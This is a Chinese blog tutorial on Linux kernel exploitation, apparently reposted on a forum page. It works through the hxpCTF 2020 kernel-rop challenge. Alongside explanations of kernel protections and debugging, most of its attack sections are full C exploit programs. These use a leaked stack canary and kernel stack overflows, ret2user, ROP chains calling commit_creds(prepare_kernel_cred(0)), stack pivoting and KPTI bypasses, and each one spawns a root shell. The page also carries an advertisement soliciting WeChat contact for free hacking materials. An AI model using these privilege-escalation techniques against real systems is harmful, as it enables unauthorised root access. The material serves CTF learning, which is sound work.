首頁>論壇 > 正文

      當前觀點:kernel?pwn入門

      2023-07-04 12:23:40    出處:博客園
      Linux Kernel 介紹

      Linux 內核是 Linux操作系統的核心組件,它提供了操作系統的基本功能和服務。它是一個開源軟件,由Linus Torvalds 在 1991 年開始開發,并得到了全球廣泛的貢獻和支持。


      (資料圖片僅供參考)

      Linux內核的主要功能包括進程管理、內存管理、文件系統、網絡通信、設備驅動程序等。它負責管理計算機硬件和軟件資源,并為應用程序提供必要的基礎支持。Linux內核是一個模塊化的系統,可以根據需要加載和卸載各種驅動程序和功能模塊。

      Linux Kernel 環境

      • vmlinuz或bzImage:linux內核的壓縮鏡像

      • vmlinux:linux內核的符號表

      • initramfs.cpio.gz:文件系統,有系統啟動的信息

      • run.sh:qemu啟動的shell腳本,里面有linux內核開啟了哪些保護

      Linux Kernel gadget獲取

      通過壓縮的linux內核鏡像獲取符號表

      ./extract-image.sh ./vmlinuz > vmlinux

      extract-image.sh

      #!/bin/sh# SPDX-License-Identifier: GPL-2.0-only# ----------------------------------------------------------------------# extract-vmlinux - Extract uncompressed vmlinux from a kernel image## Inspired from extract-ikconfig# (c) 2009,2010 Dick Streefland ## (c) 2011    Corentin Chary ## ----------------------------------------------------------------------?check_vmlinux(){    # Use readelf to check if it"s a valid ELF    # TODO: find a better to way to check that it"s really vmlinux    #    and not just an elf    readelf -h $1 > /dev/null 2>&1 || return 1?    cat $1    exit 0}?try_decompress(){    # The obscure use of the "tr" filter is to work around older versions of    # "grep" that report the byte offset of the line instead of the pattern.?    # Try to find the header ($1) and decompress from here    for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`    do        pos=${pos%%:*}        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null        check_vmlinux $tmp    done}?# Check invocation:me=${0##*/}img=$1if  [ $# -ne 1 -o ! -s "$img" ]then    echo "Usage: $me " >&2    exit 2fi?# Prepare temp files:tmp=$(mktemp /tmp/vmlinux-XXX)trap "rm -f $tmp" 0?# That didn"t work, so retry after decompression.try_decompress "\037\213\010" xy   gunziptry_decompress "\3757zXZ\000" abcde unxztry_decompress "BZh"      xy   bunzip2try_decompress "\135\0\0\0"  xxx  unlzmatry_decompress "\211\114\132" xy  "lzop -d"try_decompress "\002!L\030"  xxx  "lz4 -d"try_decompress "(\265/\375"  xxx  unzstd?# Finally check for uncompressed images or objects:check_vmlinux $img?# Bail out:echo "$me: Cannot find vmlinux." >&2

      ROPgadget獲取

      不建議用ROPgadget,速度比較慢

      ROPgadget --binary ./vmlinux > gadgets.txt

      Ropper獲取

      使用ropper速度會比較快

      ropper --file ./vmlinux --nocolor > g

      直接獲取

      ./vmlinux > gadgets.txt

      然后搜索

      cat gadgets.txt | grep "pop"

      文件系統

      解包

      mkdir initramfscd initramfscp ../initramfs.cpio.gz .gunzip ./initramfs.cpio.gzcpio -idm < ./initramfs.cpiorm initramfs.cpio

      打包

      gcc -o exploit -static $1mv ./exploit ./initramfscd initramfsfind . -print0 \| cpio --null -ov --format=newc \| gzip -9 > initramfs.cpio.gzmv ./initramfs.cpio.gz ../

      Linux Kernel的保護措施

      • Kernel stack cookies【canary】:防止內核棧溢出

      • Kernel address space layout【KASLR】:內核地址隨機化

      • Supervisor mode executionprotection【SMEP】:內核態中不能執行用戶空間的代碼。在內核中可以將CR4寄存器的第20比特設置為1,表示啟用。

        • 開啟:在-cpu參數中設置+smep

        • 關閉:nosmep添加到-append

      • Supervisor Mode AccessPrevention【SMAP】:在內核態中不能讀寫用戶頁的數據。在內核中可以將CR4寄存器的第21比特設置為1,表示啟用。

        • 開啟:在-cpu參數中設置+smap

        • 關閉:nosmap添加到-append

      • Kernel page-tableisolation【KPTI】:將用戶頁與內核頁分隔開,在用戶態時只使用用戶頁,而在內核態時使用內核頁。

        • 開啟:kpti=1

        • 關閉:nopti添加到-append

      hxpCTF 2020 kernel-rop

      這里使用hxpCTF2020的內核題作為例子,對內核中的保護以及如何繞過做簡單介紹。

      項目地址:https://github.com/h0pe-ay/Kernel-Pwn

      hackme_read

      這個函數會將內核棧的數據拷貝到用戶空間中去,因此可以利用改函數泄露內核棧的信息

      hackme_write

      hackme_write這個函數則是從用戶空間拷貝數據到內核棧中,但是變量V5的存儲空間是遠遠小于從用戶態中可以傳的數據的大小,因此導致了出現內核態棧溢出。

      【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

      ① 網安學習成長路徑思維導圖 ② 60+網安經典常用工具包 ③ 100+SRC漏洞分析報告 ④ 150+網安攻防實戰技術電子書 ⑤ 最權威CISSP 認證考試指南+題庫 ⑥ 超1800頁CTF實戰技巧手冊 ⑦ 最新網安大廠面試題合集(含答案) ⑧ APP客戶端安全檢測指南(安卓+IOS)

      動態調試

      首先在啟動腳本run.sh中加入-s的參數,使得可以使用gdb對qemu進行調試

      其次可以使用lsmod查看模塊加載的基址,這里需要注意的是需要先將啟動腳本中的權限改為0

      否則直接運行不會顯示模塊的地址,結果如下

      將權限修改為0之后,就可以正常顯示了

      然后通過gdb進行調試時則可以將模塊的基地址加入進去,使用add-symbol-file hackme.ko 0xffffffffc0000000

      接著是從題目給的內核鏡像中提取符號信息,通過./extract-image.sh vmlinuz > vmlinux,并且也加載到gdb中

      最后就可以開啟遠程調試了,target remote:1234

      這里需要注意的是ida中顯示的地址可能不準確,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme

      hackme_write中打下斷點

      這里我遇到個問題是在遇到push指令時不能夠使用ni進行跟蹤,而是需要si,否則會跑飛。

      使用ni進行單步調試,程序會直接運行,無法斷下來。

      使用si則可以單步

      至此就可以對hackme.ko的模塊進行調試了。

      未開啟保護

      首先是關閉內核中所有的保護,在遇到內核棧溢出時需要怎么完成漏洞利用。

      run.sh

      append使用使用nosmapnosempnokaslrnopti關閉smapsempkaslr以及kpti的保護

      qemu-system-x86_64 \  -m 128M \  -cpu kvm64\  -kernel vmlinuz \  -initrd initramfs.cpio.gz \  -hdb flag.txt \  -snapshot \  -nographic \  -monitor /dev/null \  -no-reboot \  -append "console=ttyS0 nosmap nosemp nokaslr nopti  quiet panic=1" \  -s

      ret2user

      由于題目沒有開啟任何保護,因此首要使用的方法就是利用棧溢出修改內核棧上的返回地址。

      首先檢查一下保護,發現hackme.ko開啟的canary的保護,因此想要完成棧溢出,首先需要泄露canary,由于題目本身就存在地址泄露功能,因此只要確保我們讀取的內容包括canary的值即可

      hackme_read中打下斷點,查看變量v6中存儲了什么值,由于程序是通過memcpy進行數據拷貝的,因此直接查看RSI寄存器對應的數據

      可以發現canary的值就在其中,因此利用hackmeread這個函數就可以將數據泄露出來

      這里需要注意的是,雖然題目限制的長度是0x1000,但是并不能將拷貝0x1000的長度,因為可能會在不可讀的地址中獲取數據,導致了執行錯誤。

      在泄露canary后就可以劫持程序執行流程了,與用戶態不同,在內核態需要先獲取root憑證,在切換到用戶態下。

      • prepare_kernel_cred函數

        • prepare_kernel_cred函數用于為內核中的進程(也就是進程的內核線程)創建一個新的cred結構體,該結構體包含有關進程的安全上下文信息,例如UID、GID、capabilities 等。

      • commit_creds函數

        • commit_creds函數接受一個指向cred結構體的指針,并將其分配給當前進程。該函數通常在進程啟動時調用,以確保進程被正確配置以擁有所需的權限。

      因此調用prepare_kernel_cred(0)可以獲取root權限的憑證,接著調用commit_creds函數,就可以將當前進程的特權修改為root。即指向commit_creds(prepare_kernel_cred(0))

      在獲取完root之后則需要調用swags指令進行GS寄存器的切換,即將g_basek_gs_base的值進行交換,swapgs是一個匯編指令,用于在執行內核代碼期間切換當前 CPU 的內核棧和 GS寄存器。完成交換之后才能確保在用戶態的尋址不會存在問題。

      執行swags指令之前

      執行swags指令之后

      最后則是切換回用戶態,iretq指令是 x86架構下用于從中斷處理程序(或系統調用處理程序)返回到用戶空間的指令。它是iret指令的 64 位版本,用于在 64 位模式下使用。

      iretq指令有以下三個功能:

      1. 恢復處理器的標志寄存器 (EFLAGS)的值,以便返回到原始程序的執行上下文。

      2. 恢復程序計數器 (Instruction Pointer, RIP)的值,以便返回到原始程序的執行點。

      3. 恢復棧指針 (Stack Pointer, RSP) 的值,以便將堆棧指針切換回用戶棧上。

      iretq還原的值的順序為RIP|CS|RFLAGS|SP|SS,那么在iret指令中按順序填充RIPCSRFLASGRSP以及SS的值即可,因此在執行iretq之前需要將在用戶態下將這些值進行保存。并且RIP指向的值為system("/bin/sh")函數的地址即可。

      保存寄存器的匯編代碼如下

      __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );

      iretq指令后跟隨的值如下

      exp

      因此最后構造的exp如下

      #include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred */unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("[*] Saved userland registers");    printf("[#] cs: 0x%lx \n", user_cs);    printf("[#] ss: 0x%lx \n", user_ss);    printf("[#] rsp: 0x%lx \n", user_sp);    printf("[#] rflags: 0x%lx \n\n", user_rflags);}?void backdoor(){    printf("****getshell****");    system("id");    system("/bin/sh");}?unsigned long user_rip = (unsigned long)backdoor;?void lpe(){    __asm(        ".intel_syntax noprefix;"        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred        "xor rdi, rdi;"        "call rax;" //prepare_kernel_cred(0);        "mov rdi, rax;"        "mov rax, 0xffffffff814c6410;"        "call rax;"        "swapgs;"           "mov r15, user_ss;"        "push r15;"        "mov r15, user_sp;"        "push r15;"        "mov r15, user_rflags;"        "push r15;"        "mov r15, user_cs;"        "push r15;"        "mov r15, user_rip;"        "push r15;"        "iretq;"        ".att_syntax;"    );}?int main(){    unsigned int i, index = 0;    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 8*11);    for(i = 0; i < 11; i++)        printf("i:%d:data:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long leak_addr = buf[10];    save_user_land();    unsigned long payload[256];    for(i = 0; i < (16); i ++)        payload[index++] = 0;    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)lpe;    write(fd, payload, index * 8);    return 0;}

      繞過SMEP

      SMEP保護是防止內核執行用戶空間的代碼,而上述的exp則是將利用過程是將匯編語言寫在用戶空間中,因此在SMEP的保護下,上述的利用會失效。下面將介紹繞過SMEP的幾種方法。

      run.sh

      qemu-system-x86_64 \  -m 128M \  -cpu kvm64,+smep\  -kernel vmlinuz \  -initrd initramfs.cpio.gz \  -hdb flag.txt \  -snapshot \  -nographic \  -monitor /dev/null \  -no-reboot \  -append "console=ttyS0 nosmap  nokaslr nopti  quiet panic=1" \  -s

      修改CR4寄存器

      前面說過開啟SMEP保護實際是將CR4寄存器的第20比特位置為1

      那么一個簡單的想法就是將CR4寄存器的第20比特位重寫為0,關閉SMEP的保護就可以使用上述的利用手法了。那么寫cr4寄存器的是通過native_write_cr4函數,將需要改寫的值以參數的形式傳入進去,因此此時需要一個pop rdi; retgadget

      找到native_write_cr4函數

      exp

      #include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff81006370: pop rdi; ret; 0xffffffff814443e0 T native_write_cr4*/unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("[*] Saved userland registers");    printf("[#] cs: 0x%lx \n", user_cs);    printf("[#] ss: 0x%lx \n", user_ss);    printf("[#] rsp: 0x%lx \n", user_sp);    printf("[#] rflags: 0x%lx \n\n", user_rflags);}?void backdoor(){    printf("****getshell****");    system("id");    system("/bin/sh");}?unsigned long user_rip = (unsigned long)backdoor;?void lpe(){    __asm(        ".intel_syntax noprefix;"        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred        "xor rdi, rdi;"        "call rax;" //prepare_kernel_cred(0);        "mov rdi, rax;"        "mov rax, 0xffffffff814c6410;"        "call rax;"        "swapgs;"           "mov r15, user_ss;"        "push r15;"        "mov r15, user_sp;"        "push r15;"        "mov r15, user_rflags;"        "push r15;"        "mov r15, user_cs;"        "push r15;"        "mov r15, user_rip;"        "push r15;"        "iretq;"        ".att_syntax;"    );}?int main(){    unsigned int i, index = 0;    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 8*11);    for(i = 0; i < 11; i++)        printf("i:%d:data:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long leak_addr = buf[10];    save_user_land();    unsigned long payload[256];    for(i = 0; i < (16); i ++)        payload[index++] = 0;    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; // pop rdi; ret;    payload[index++] = 0x00000000000060;     payload[index++] = 0xffffffff814443e0; //native_write_cr4    payload[index++] = (unsigned long)lpe;    write(fd, payload, index * 8);    return 0;}

      但是在這個版本下的內核已經無法通過native_write_cr4函數改寫CR4寄存器了,可以通過dmesg打印日志信息,可以發現

      提示pinned CR4 bits changed: 0x100000!?的錯誤,并且CR4的值也沒有被修改,這是因為在當前的內核版本中增加了校驗,若后續通過native_write_cr4函數修改的值與啟動的值不一致則會報錯,并且將值修改為回來的值。

      可以看到補丁的說明,在啟動后CR4的值無法被修改。因此在改利用手法只能在對CR4進行校驗的版本下使用。

      構造逃逸ROP

      由于SMEP只是杜絕了執行用戶態的代碼,因此利用ROP的思路,在內核態完成ROP鏈的構造,并且執行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。

      那么此時需要什么樣的gadget則是構造逃逸ROP的重點,由于需要手動傳參調用上述的攻擊鏈,因此需要

      • pop rdi; ret;

      • mov rdi , rax; ret,這里需要注意的是,我們需要prepare_kernel_cred(0)執行的返回值,因此需要將rax寄存器的值傳遞給rdi寄存器

      • swags; ret

      • iretq

      除了mov rdi, rax; ret以外,其余的gadget都可以很輕松的搜索出來,但是內核中不存在mod rdi, rax; ret這樣的gadget,因此需要想辦法找到其他的gadget,這里我找到如下的組合,通過構造rdirsi的值,使得rdi = rsi從而導致jne的跳轉無法執行,那么就可以在執行mov rdi, rax的情況下可以跳過jne的跳轉指令執行到ret指令。

      0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret;0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret;

      因此ROP逃逸的思路與在用戶態的ROP區別不大,只要找到合適的gadget即可

      exp

      #include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){    __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("***save state***");    printf("user_cs:0x%lx\n", user_cs);    printf("user_sp:0x%lx\n", user_sp);    printf("user_ss:0x%lx\n", user_ss);    printf("user_rflags:0x%lx\n", user_rflags);    puts("***save finish***");}?void backdoor(){    puts("***getshell***");    system("/bin/sh");}
      int main(){    save_state();    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 0x10 * 8);    for(int i = 0; i < 0x10; i++)        printf("i:%d\taddress:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;            //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred    payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 1;    payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff814c6410; //commit_creds;    payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;    payload[index++] = (unsigned long)backdoor;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);}

      棧遷移

      棧遷移能使用的場景是當我們需要構造的ROP鏈大于能溢出的字節數時采用的與用戶態不同的是在內核中存在很多可以修改RSP指針的gadget可以使用。這里我找到的gadget是,通過pop rbp; retmov rsp, rbp結合,就能夠篡改rsp為任何值。

      0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret;0xffffffff810062dc: mov rsp, rbp; pop rbp; ret;

      那么需要將rsp篡改為何值,此時就需要結合mmap函數,該函數能夠在用戶空間中開辟一段內存,該內存的屬性可以自定義,因此思路則是將rsp的值指向mmap開辟的地址,通過棧遷移技術,將棧遷移到mmap的地址值,我們在將ROP鏈填充到mmap開辟的內存中即可,這里對mmap函數進行一個介紹。

      mmap函數

      void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
      • addr:開辟的地址值,若為0則操作系統自行選擇,否則為填充的值,該地址的值需要頁對齊(0x1000),并且最小的值需要為0x10000(這里是我自己測試的)

      • length:內存的大小

      • prot:權限

        • PROT_EXEC,執行權限

        • PROT_READ,讀權限

        • PROT_WRITE,寫權限

        • PROT_NONE,沒有任何權限

      • flags:標志位,mmap函數可以設置的標志位有很多,這里著重介紹一些常用的

        • MAP_SHARED:共享映射,映射的內容可以被其他進程所看到,同時能夠同步到底層的文件

        • MAP_PRIVATE:私有映射,映射的內容不能被其他進程所看到,也不會同步到底層的文件

        • MAP_ANONYMOUS:匿名映射,是一種不映射文件的映射

        • MAP_FIXED:固定映射,即映射地址必須是addr所指定的,若該地址被占用則mmap返回錯誤

      • fd:需要映射的文件描述符,若是匿名映射則設置為-1

      • offet:映射的偏移,即選擇從哪個位置開始映射

      映射代碼如下,這里需要注意的是,由于我們只需要在用戶空間中任意開辟一段可執行的內存,因此只需要進行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUSMAP_FIXED的標志位需要被指定,然后是MAP_SHAREDMAP_PRIVATE必須兩個中指定一個,否則也會報錯,因為這兩個參數指明的是修改的內容是否會影響其他進程或者是底層的文件。

      棧遷移完成

      ROP鏈部署在了映射內存中

      最后是遇到的小疑惑,剛開始學習到棧遷移的時候會覺得奇怪,因為mmap開辟的內存是在用戶態的,SMEP則是禁止執行用戶態的代碼,為什么使用棧遷移可以繞過SMEP,后面理解發現,我們只是訪問了用戶空間的地址即0x2000,但是這段用戶態空間填寫的地址都是內核態的地址,因此總結流程則是我們在用戶態空間中填充了內核態的地址,在進行棧遷移繞過SMEP時,僅僅是訪問了用戶態空間的地址,最后執行時還是執行的內核態的地址,因此SMEP無法阻礙這種利用。而這也正是SMAPSMEP的區別,SMAP則是無法讀寫用戶態空間,因此若開啟了SMAP,那么該利用手法則無法進行。

      繞過KPTI

      KPTI(Kernel Page Table Isolation)是一種針對 Intel處理器的內核保護機制,用于減輕 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影響。KPTI的主要目的是隔離內核地址空間和用戶地址空間,防止惡意程序通過訪問內核地址空間來竊取敏感數據。

      簡單來說就是KPTI的保護即將用戶空間的頁與內核內核空間的頁完全分隔開,那么在使用上述代碼進行利用的時候會報出段錯誤,因為在內核空間的頁中沒辦法找到用戶空間的代碼。

      那么有兩種方式可以繞過KPTI

      • 捕獲Segmentation fault的異常,在異常處理中調用system(/bin/sh)

      • 切換頁表,將內核空間的頁表切換到用戶空間中去

      run.sh

      qemu-system-x86_64 \  -m 128M \  -cpu kvm64,+smep\  -kernel vmlinuz \  -initrd initramfs.cpio.gz \  -hdb flag.txt \  -snapshot \  -nographic \  -monitor /dev/null \  -no-reboot \  -append "console=ttyS0 nosmap  nokaslr kpti=1  quiet panic=1" \  -s

      使用異常處理

      使用異常處理非常簡單,只需要注冊一個異常處理的函數去捕獲SIGSEGV信號,在捕獲到該信號時執行異常處理函數,可自定義為system("/bin/sh")

      signal(SIGSEGV, backdoor);

      exp

      #include #include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){    __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("***save state***");    printf("user_cs:0x%lx\n", user_cs);    printf("user_sp:0x%lx\n", user_sp);    printf("user_ss:0x%lx\n", user_ss);    printf("user_rflags:0x%lx\n", user_rflags);    puts("***save finish***");}?void backdoor(){    puts("***getshell***");    system("/bin/sh");}
      int main(){    save_state();    signal(SIGSEGV, backdoor);    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 0x10 * 8);    for(int i = 0; i < 0x10; i++)        printf("i:%d\taddress:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;            //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred    payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 1;    payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff814c6410; //commit_creds;    payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;    payload[index++] = (unsigned long)backdoor;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);}

      使用swapgs_restore_regs_and_return_to_usermode

      第二種方式則是修改頁表,CR3 寄存器是 x86架構中的一種控制寄存器,用于存儲頁目錄表(Page DirectoryTable)的物理地址。因此若能夠修改CR3的值為用戶空間的頁表,那么就可以完成頁表的切換,從而正常執行利用代碼了。

      那么在內核中存在一個函數swapgs_restore_regs_and_return_to_usermodeswapgs_restore_regs_and_return_to_usermode函數是在 x86架構中用于從內核態切換到用戶態的匯編代碼片段。這個函數的作用是在內核態執行完系統調用或中斷處理程序后,恢復用戶態進程的寄存器狀態,并返回到用戶態進程的執行點繼續執行。

      在內核中搜索該函數的地址

      可以看到在該函數的內部存在修改CR3的操作,因此只需要調用該函數,就可以從內核空間的頁表修改為用戶空間的頁表,但是該函數的起始位置會進行非常多的彈棧操作,如果直接使用很容易造成ROP鏈的空間不足,因此可以選擇在swapgs_restore_regs_and_return_to_usermode + 0x16的位置開始執行。

      在該函數后續的執行中,還會執行swapgs的指令,切換GS的寄存器,并且做一個絕對跳轉到0xffffffff81200fco

      在該地址的后續還存在這iretq的指令,因此該函數具備了所有的條件。

      exp

      #include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){    __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("***save state***");    printf("user_cs:0x%lx\n", user_cs);    printf("user_sp:0x%lx\n", user_sp);    printf("user_ss:0x%lx\n", user_ss);    printf("user_rflags:0x%lx\n", user_rflags);    puts("***save finish***");}?void backdoor(){    puts("***getshell***");    system("/bin/sh");}
      int main(){    save_state();    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 0x10 * 8);    for(int i = 0; i < 0x10; i++)        printf("i:%d\taddress:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;            //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred    payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 1;    payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff814c6410; //commit_creds;    payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)backdoor;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);    }

      繞過SMAP

      SMAP則是防止在內核態時訪問用戶態的空間,此時使用swapgs_restore_regs_and_return_to_usermode函數也是完全可以繞過的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode構建的ROP鏈。

      但是如果遇到長度不夠時,就能夠將棧遷移到用戶空間上了,因為在開啟SMAP保護的時候就沒有辦法訪問用戶空間。那么此時只能借助內核的其他空間進行棧遷移,該手法利用比較復雜,因此留到以后再介紹。

      繞過KASLR

      KASLR與用戶態下的ASLR差不多,都是開啟了地址的隨機化,因此不能使用絕對地址。

      run.sh

      qemu-system-x86_64 \  -m 128M \  -cpu kvm64,+smep,+smap \  -kernel vmlinuz \  -initrd initramfs.cpio.gz \  -hdb flag.txt \  -snapshot \  -nographic \  -monitor /dev/null \  -no-reboot \  -append "console=ttyS0  kaslr nofgkaslr kpti=1  quiet panic=1" \  -s

      泄露內核地址

      通過泄露內核的程序基地址,再加上函數的偏移即可繞過,與用戶態下的利用沒有區別。

      exp

